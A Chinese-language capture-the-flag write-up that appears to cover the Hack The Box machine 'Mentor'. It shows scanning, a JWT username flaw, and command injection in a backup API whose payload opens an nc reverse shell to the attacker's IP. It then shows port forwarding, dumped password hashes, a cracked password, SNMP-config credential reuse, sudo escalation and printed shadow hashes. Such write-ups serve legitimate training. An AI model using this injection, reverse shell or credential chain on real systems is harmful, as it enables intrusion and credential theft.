基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.10.11.193
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 21:08 CST
Nmap scan report for 10.10.11.193
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c73bfc3cf9ceee8b4818d5d1af8ec2bb (ECDSA)
|_ 256 4440084c0ecbd4f18e7eeda85c68a4f7 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.15 seconds

80

需要加hosts:

1
10.10.11.193 mentorquotes.htb

一个博客:

子域名扫描

子域名扫描可以发现api,一个小坑,匹配到的时候响应是404,大部分工具默认选项都会忽略这个结果:

1
2
3
ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u "http://mentorquotes.htb/" -H 'Host: FUZZ.mentorquotes.htb' -fc 302 -mc all

api [Status: 404, Size: 22, Words: 2, Lines: 1, Duration: 365ms]

api.mentorquotes.htb

同样加hosts后访问,默认结果404:

目录扫描

对api进行目录扫描发现一些结果:

1
2
3
4
5
6
7
gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt  -t 50 -u http://api.mentorquotes.htb/

/admin (Status: 307) [Size: 0] [--> http://api.mentorquotes.htb/admin/]
/docs (Status: 200) [Size: 969]
/quotes (Status: 307) [Size: 0] [--> http://api.mentorquotes.htb/quotes/]
/server-status (Status: 403) [Size: 285]
/users (Status: 307) [Size: 0] [--> http://api.mentorquotes.htb/users/]

docs

docs就是API文档,并且可以得到网站管理员的邮箱:

1
james@mentorquotes.htb

API

根据文档调用API,注册登录,得到一个JWT:

使用得到的JWT调用其他API例如users,提示需要admin:

james

JWT验证逻辑问题,因为JWT中使用的是username而不是email,那使用我们自己的邮箱,但使用james的用户名注册登录得到的JWT就能够通过admin校验,发现svc用户:

admin

现在使用admin JWT访问admin,得到check和backup:

backup

check还没实现,backup需要有效的json post参数:

直接提交空json即可得到需要的参数:

构造有效参数,响应内容只有Done:

命令注入

猜测backup实现方式,可以发现path参数的命令注入:

docker root

利用命令注入得到docker容器root:

1
{"body":"miao","path":"/etc/passwd;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.7 4444 >/tmp/f;"}

postgresql

db.py中可以得到数据库账号密码,转发端口,查看数据库得到几条hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# local
sudo ./chisel server --port 99999 --reverse
# target
./chisel client -v 10.10.14.7:9999 R:5432:172.22.0.1:5432

# local
psql -h 10.10.14.7 -U "postgres" -p 5432

postgres=# \list
mentorquotes_db
postgres
template0
template1

postgres=# \c mentorquotes_db
mentorquotes_db=# \d
mentorquotes_db=# select * from users;

id | email | username | password
----+-------------------------+-------------+----------------------------------
1 | james@mentorquotes.htb | james | 7ccdcd8c05b59add9c198d492b36a503
2 | svc@mentorquotes.htb | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
4 | dedsec@mentorquotes.htb | james | fc8767a5e9e2382a17072b10725e1c8b
(3 rows)

svc的hash破解出来密码:

1
123meunomeeivani

user flag

svc用户ssh,得到user flag:

提权信息

运行linpeas之类,发现snmp配置文件最近有更新:

james

查看snmp配置文件得到密码,这个密码就是james密码,james用户可以sudo执行sh:

1
2
3
4
5
6
cat /etc/snmp/snmpd.conf

createUser bootstrap MD5 SuperSecurePassword123__ DES

su james
sudo -l

提权 & root flag

shadow

1
2
3
root:$y$j9T$8yCyNLTeGfC2FDUDFE6sM1$e65o4d6wvakq5n8g3gyx.0R2UL1mAkx47MbbSvBE9a5:19292:0:99999:7:::
svc:$y$j9T$4EcnvzyhSx1IAnV6cEyg.1$k1QRszqBOGsytZfsfKnslj9/UTcGIsuEBXYpv7DMaE3:19306:0:99999:7:::
james:$y$j9T$lIYLeondVze7GxH1PBwcb.$3ultsJbEkyEqFPlWzZyDoWTKC/jZCx4Fy/hLsyxkvH5:19154:0:99999:7:::

参考资料